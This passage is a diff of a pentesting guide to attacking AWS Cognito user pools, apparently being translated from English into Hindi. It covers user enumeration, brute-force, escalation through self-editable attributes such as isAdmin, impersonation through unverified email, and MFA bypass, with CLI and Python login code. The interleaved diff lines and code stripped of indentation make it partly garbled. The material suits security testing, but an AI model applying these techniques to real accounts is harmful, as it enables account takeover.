usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +**स्रोत कोड** में आमतौर पर **उपयोगकर्ता पूल ID** और **क्लाइंट एप्लिकेशन ID** (और कभी-कभी **एप्लिकेशन सीक्रेट**?) शामिल होते हैं, जो एक **उपयोगकर्ता को Cognito उपयोगकर्ता पूल में लॉगिन** करने के लिए आवश्यक होते हैं। ### Potential attacks -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **पंजीकरण**: डिफ़ॉल्ट रूप से एक उपयोगकर्ता स्वयं को पंजीकृत कर सकता है, इसलिए वह अपने लिए एक उपयोगकर्ता बना सकता है। +- **उपयोगकर्ता गणना**: पंजीकरण कार्यक्षमता का उपयोग उन उपयोगकर्ता नामों को खोजने के लिए किया जा सकता है जो पहले से मौजूद हैं। यह जानकारी ब्रूट-फोर्स हमले के लिए उपयोगी हो सकती है। +- **लॉगिन ब्रूट-फोर्स**: [**प्रमाणीकरण**](cognito-user-pools.md#authentication) अनुभाग में आपके पास सभी **विधियाँ** हैं जिनका उपयोगकर्ता को **लॉगिन** करने के लिए उपयोग करना है, आप उन्हें **मान्य क्रेडेंशियल्स** खोजने के लिए ब्रूट-फोर्स करने का प्रयास कर सकते हैं। ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), अब `cognito__enum` और `cognito__attack` मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, पहुँच नियंत्रण के लिए उपयोगकर्ता विशेषताएँ, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित अनुकूलन योग्य विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।\ +मॉड्यूल के कार्यों का विवरण [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 में देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और खाता ओरेकल शामिल हैं। अधिक जानकारी के लिए [इस लिंक](https://github.com/padok-team/cognito-scanner) की जांच करें। ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): यह स्क्रिप्ट उपयोगकर्ताओं के लिए मान्य विशेषताओं को सूचीबद्ध करने की अनुमति देती है। ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` - ## Registration -User Pools allows by **default** to **register new users**. - +User Pools **डिफ़ॉल्ट** द्वारा **नए उपयोगकर्ताओं** को **पंजीकरण** करने की अनुमति देता है। ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### यदि कोई भी पंजीकरण कर सकता है -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +आपको एक त्रुटि मिल सकती है जो आपको बताती है कि आपको उपयोगकर्ता के बारे में **अधिक विवरण प्रदान करने** की आवश्यकता है: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +आप आवश्यक विवरण एक JSON के साथ प्रदान कर सकते हैं जैसे: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +आप इस कार्यक्षमता का उपयोग **मौजूदा उपयोगकर्ताओं की गणना** करने के लिए भी कर सकते हैं। जब उस नाम के साथ एक उपयोगकर्ता पहले से मौजूद होता है, तो यह त्रुटि संदेश है: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> पिछले कमांड में ध्यान दें कि **कस्टम विशेषताएँ "custom:" से शुरू होती हैं**।\ +> यह भी जान लें कि पंजीकरण करते समय आप **उपयोगकर्ता के लिए नई कस्टम विशेषताएँ नहीं बना सकते**। आप केवल **डिफ़ॉल्ट विशेषताओं** (भले ही वे आवश्यक न हों) और **निर्धारित कस्टम विशेषताओं** को मान दे सकते हैं। +या बस यह परीक्षण करने के लिए कि क्या एक क्लाइंट आईडी मौजूद है। यदि क्लाइंट-आईडी मौजूद नहीं है तो यह त्रुटि है: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### यदि केवल व्यवस्थापक उपयोगकर्ताओं को पंजीकृत कर सकता है -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +आप इस त्रुटि को पाएंगे और आप उपयोगकर्ताओं को पंजीकृत या सूचीबद्ध नहीं कर पाएंगे: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` +### पंजीकरण की पुष्टि करना -### Verifying Registration - -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito **एक नए उपयोगकर्ता की पुष्टि करने के लिए उसके ईमेल या फोन नंबर की पुष्टि करने** की अनुमति देता है। इसलिए, जब एक उपयोगकर्ता बनाया जाता है, तो आमतौर पर आपको कम से कम उपयोगकर्ता नाम और पासवर्ड और **ईमेल और/या फोन नंबर** की आवश्यकता होगी। बस एक **जिस पर आपका नियंत्रण है** सेट करें ताकि आप **अपने** नए बनाए गए उपयोगकर्ता **खाते** की पुष्टि करने के लिए कोड प्राप्त कर सकें इस तरह: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> भले ही **ऐसा लगता है कि आप वही ईमेल** और फोन नंबर का उपयोग कर सकते हैं, जब आपको बनाए गए उपयोगकर्ता को सत्यापित करने की आवश्यकता होती है, तो Cognito समान जानकारी का उपयोग करने के बारे में शिकायत करेगा और **आपको खाता सत्यापित करने नहीं देगा**। -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### विशेषाधिकार वृद्धि / गुण अपडेट करना +डिफ़ॉल्ट रूप से, एक उपयोगकर्ता **अपने गुणों के मान को संशोधित कर सकता है** जैसे: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### कस्टम विशेषता प्रिवेस्क > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> आप **कस्टम विशेषताओं** का उपयोग करते हुए पा सकते हैं (जैसे `isAdmin`), क्योंकि डिफ़ॉल्ट रूप से आप **अपनी विशेषताओं के मान बदल सकते हैं**, आप **अधिकार बढ़ाने** के लिए मान स्वयं बदल सकते हैं! -#### Email/username modification privesc +#### ईमेल/उपयोगकर्ता नाम संशोधन प्रिवेस्क -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +आप इसका उपयोग **किसी उपयोगकर्ता का ईमेल और फोन नंबर संशोधित करने** के लिए कर सकते हैं, लेकिन फिर, भले ही खाता सत्यापित रहे, वे विशेषताएँ **असत्यापित स्थिति में सेट** होती हैं (आपको उन्हें फिर से सत्यापित करना होगा)। > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> आप **ईमेल या फोन नंबर से लॉगिन नहीं कर पाएंगे** जब तक कि आप उन्हें सत्यापित नहीं करते, लेकिन आप **उपयोगकर्ता नाम से लॉगिन कर पाएंगे**।\ +> ध्यान दें कि भले ही ईमेल संशोधित किया गया हो और सत्यापित न हो, यह **`email`** **क्षेत्र** के अंदर ID Token में दिखाई देगा और **`email_verified`** फ़ील्ड **false** होगी, लेकिन यदि ऐप **यह नहीं देख रहा है तो आप अन्य उपयोगकर्ताओं का अनुकरण कर सकते हैं**। -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> इसके अलावा, ध्यान दें कि आप **नाम विशेषता** को संशोधित करके **`name`** फ़ील्ड के अंदर कुछ भी डाल सकते हैं। यदि कोई ऐप किसी कारण से **उस** फ़ील्ड की **जांच कर रहा है** **`email`** (या किसी अन्य विशेषता) के बजाय, तो आप **अन्य उपयोगकर्ताओं का अनुकरण कर सकते हैं**। +किसी भी तरह, यदि किसी कारण से आपने अपना ईमेल, उदाहरण के लिए, एक नए ईमेल में बदल दिया है जिसे आप एक्सेस कर सकते हैं, तो आप **उस ईमेल पते पर प्राप्त कोड के साथ ईमेल की पुष्टि कर सकते हैं**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +**`फोन_नंबर`** का उपयोग करें **`ईमेल`** के बजाय **नए फोन नंबर** को बदलने/सत्यापित करने के लिए। > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> व्यवस्थापक विकल्प को सक्षम कर सकता है **उपयोगकर्ता द्वारा पसंद किए गए उपयोगकर्ता नाम** के साथ लॉगिन करने के लिए। ध्यान दें कि आप इस मान को **किसी भी उपयोगकर्ता नाम या पसंदीदा_उपयोगकर्ता नाम** में नहीं बदल पाएंगे जो पहले से किसी अन्य उपयोगकर्ता का प्रतिनिधित्व करने के लिए उपयोग किया जा रहा है। -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### पासवर्ड पुनर्प्राप्त करें/बदलें +यह संभव है कि केवल **उपयोगकर्ता नाम** (या ईमेल या फोन स्वीकार किया जाता है) जानकर पासवर्ड को पुनर्प्राप्त किया जा सके और वहां एक कोड भेजा जाएगा: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> सर्वर की प्रतिक्रिया हमेशा सकारात्मक होगी, जैसे कि यदि उपयोगकर्ता नाम मौजूद है। आप इस विधि का उपयोग उपयोगकर्ताओं की गणना करने के लिए नहीं कर सकते हैं +कोड के साथ आप पासवर्ड बदल सकते हैं: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +पासवर्ड बदलने के लिए आपको **पिछला पासवर्ड जानना होगा**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` - ## Authentication -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. +एक उपयोगकर्ता पूल **प्रमाणित करने के लिए विभिन्न तरीकों** का समर्थन करता है। यदि आपके पास एक **उपयोगकर्ता नाम और पासवर्ड** है, तो लॉगिन करने के लिए भी **विभिन्न विधियाँ** समर्थित हैं।\ +इसके अलावा, जब एक उपयोगकर्ता पूल में प्रमाणित होता है, तो **3 प्रकार के टोकन दिए जाते हैं**: **ID टोकन**, **एक्सेस टोकन** और **रीफ्रेश टोकन**। -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): इसमें **प्रमाणित उपयोगकर्ता की पहचान** के बारे में दावे होते हैं, जैसे `name`, `email`, और `phone_number`। ID टोकन का उपयोग **आपके संसाधन सर्वरों या सर्वर अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने** के लिए भी किया जा सकता है। यदि आप इसे बाहरी अनुप्रयोगों में उपयोग करते हैं, तो आपको ID टोकन के अंदर किसी भी दावे पर भरोसा करने से पहले **हस्ताक्षर** की **सत्यापन** करनी चाहिए। +- ID टोकन वह टोकन है जो **उपयोगकर्ता के गुणों के मान** को **शामिल करता है**, यहां तक कि कस्टम वाले भी। +- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): इसमें प्रमाणित उपयोगकर्ता के बारे में दावे, **उपयोगकर्ता के समूहों की सूची**, और **स्कोप की सूची** होती है। एक्सेस टोकन का उद्देश्य उपयोगकर्ता पूल में उपयोगकर्ता के संदर्भ में **API संचालन को अधिकृत करना** है। उदाहरण के लिए, आप एक्सेस टोकन का उपयोग करके **अपने उपयोगकर्ता को उपयोगकर्ता गुणों को जोड़ने, बदलने या हटाने** की अनुमति दे सकते हैं। +- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): रीफ्रेश टोकनों के साथ आप उपयोगकर्ता के लिए **नए ID टोकन और एक्सेस टोकन प्राप्त कर सकते हैं** जब तक कि **रीफ्रेश टोकन अमान्य** न हो जाए। **डिफ़ॉल्ट** रूप से, रीफ्रेश टोकन **30 दिनों के बाद समाप्त हो जाता है** जब आपका अनुप्रयोग उपयोगकर्ता आपके उपयोगकर्ता पूल में साइन इन करता है। जब आप अपने उपयोगकर्ता पूल के लिए एक अनुप्रयोग बनाते हैं, तो आप अनुप्रयोग के रीफ्रेश टोकन की समाप्ति को **60 मिनट से 10 वर्षों के बीच किसी भी मान** पर सेट कर सकते हैं। ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +यह सर्वर साइड प्रमाणीकरण प्रवाह है: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- सर्वर-साइड ऐप **`AdminInitiateAuth` API ऑपरेशन** को कॉल करता है (इसके बजाय `InitiateAuth`)। इस ऑपरेशन के लिए AWS क्रेडेंशियल्स की आवश्यकता होती है जिनमें **`cognito-idp:AdminInitiateAuth`** और **`cognito-idp:AdminRespondToAuthChallenge`** की अनुमति शामिल होती है। यह ऑपरेशन आवश्यक प्रमाणीकरण पैरामीटर लौटाता है। +- जब सर्वर-साइड ऐप के पास **प्रमाणन पैरामीटर** होते हैं, तो यह **`AdminRespondToAuthChallenge` API ऑपरेशन** को कॉल करता है। `AdminRespondToAuthChallenge` API ऑपरेशन केवल तभी सफल होता है जब आप AWS क्रेडेंशियल्स प्रदान करते हैं। -This **method is NOT enabled** by default. +यह **विधि डिफ़ॉल्ट रूप से सक्षम नहीं है**। -To **login** you **need** to know: +**लॉगिन** करने के लिए आपको **जानना आवश्यक है**: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- उपयोगकर्ता पूल आईडी +- क्लाइंट आईडी +- उपयोगकर्ता नाम +- पासवर्ड +- क्लाइंट सीक्रेट (केवल यदि ऐप को एक सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> इस विधि के साथ **लॉगिन करने के लिए सक्षम होने के लिए**, उस अनुप्रयोग को `ALLOW_ADMIN_USER_PASSWORD_AUTH` के साथ लॉगिन करने की अनुमति देनी चाहिए।\ +> इसके अलावा, इस क्रिया को करने के लिए आपको **`cognito-idp:AdminInitiateAuth`** और **`cognito-idp:AdminRespondToAuthChallenge`** की अनुमति के साथ क्रेडेंशियल्स की आवश्यकता है। ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +लॉगिन के लिए कोड ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +यह विधि एक और सरल और **पारंपरिक उपयोगकर्ता और पासवर्ड प्रमाणीकरण** प्रवाह है। इसे **Cognito** में **पारंपरिक** प्रमाणीकरण विधि **को माइग्रेट** करने की सिफारिश की जाती है और फिर इसे **अक्षम** करने और इसके बजाय **ALLOW_USER_SRP_AUTH** विधि का **उपयोग** करने की सिफारिश की जाती है (क्योंकि यह कभी भी पासवर्ड को नेटवर्क पर नहीं भेजता)।\ +यह **विधि डिफ़ॉल्ट रूप से सक्षम नहीं है**। -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +कोड के अंदर **पिछली प्रमाणीकरण विधि** के साथ मुख्य **अंतर** यह है कि आपको **उपयोगकर्ता पूल आईडी** जानने की **आवश्यकता नहीं है** और आपको Cognito उपयोगकर्ता पूल में **अतिरिक्त अनुमतियों** की **आवश्यकता नहीं है**। -To **login** you **need** to know: +**लॉगिन** करने के लिए आपको **जानने की आवश्यकता है**: -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- क्लाइंट आईडी +- उपयोगकर्ता नाम +- पासवर्ड +- क्लाइंट सीक्रेट (केवल यदि ऐप को एक सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> इस विधि के साथ **लॉगिन करने में सक्षम होने के लिए** उस एप्लिकेशन को ALLOW_USER_PASSWORD_AUTH के साथ लॉगिन करने की अनुमति देनी चाहिए। ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +लॉगिन के लिए पायथन कोड ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +यह परिदृश्य पिछले वाले के समान है लेकिन **पासवर्ड भेजने के बजाय** नेटवर्क के माध्यम से लॉगिन करने के लिए **चुनौती प्रमाणीकरण किया जाता है** (इसलिए कोई पासवर्ड नेटवर्क के माध्यम से एन्क्रिप्टेड भी नहीं जाता)।\ +यह **विधि डिफ़ॉल्ट रूप से सक्षम** है। -To **login** you **need** to know: +लॉगिन करने के लिए आपको **जानना आवश्यक है**: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- उपयोगकर्ता पूल आईडी +- क्लाइंट आईडी +- उपयोगकर्ता नाम +- पासवर्ड +- क्लाइंट सीक्रेट (केवल यदि ऐप को एक सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है)
-Code to login - +लॉगिन करने के लिए कोड ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +यह **विधि हमेशा मान्य रहने वाली है** (इसे बंद नहीं किया जा सकता) लेकिन आपके पास एक मान्य रिफ्रेश टोकन होना चाहिए। ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +कोड को ताज़ा करें ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +इस मामले में **प्रमाणीकरण** **लैम्ब्डा फ़ंक्शन** के **निष्पादन** के माध्यम से किया जाएगा। -## Extra Security +## अतिरिक्त सुरक्षा -### Advanced Security +### उन्नत सुरक्षा -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +डिफ़ॉल्ट रूप से यह बंद है, लेकिन यदि सक्षम किया गया, तो Cognito **खाता अधिग्रहण** को **खोजने** में सक्षम हो सकता है। संभावना को कम करने के लिए, आपको **एक ही शहर के अंदर एक नेटवर्क से लॉगिन करना चाहिए, उसी उपयोगकर्ता एजेंट का उपयोग करते हुए** (और यदि संभव हो तो IP)**।** -### **MFA Remember device** +### **MFA याद रखें डिवाइस** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +यदि उपयोगकर्ता उसी डिवाइस से लॉगिन करता है, तो MFA को बायपास किया जा सकता है, इसलिए MFA सुरक्षा को बायपास करने के लिए उसी मेटाडेटा (IP?) के साथ उसी ब्राउज़र से लॉगिन करने का प्रयास करें। -## User Pool Groups IAM Roles +## उपयोगकर्ता पूल समूह IAM भूमिकाएँ -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +यह संभव है कि **उपयोगकर्ताओं को उपयोगकर्ता पूल** समूहों में जोड़ा जाए जो एक **IAM भूमिका** से संबंधित हैं।\ +इसके अलावा, **उपयोगकर्ताओं** को **अलग-अलग IAM भूमिकाओं** के साथ **1 से अधिक समूहों** में असाइन 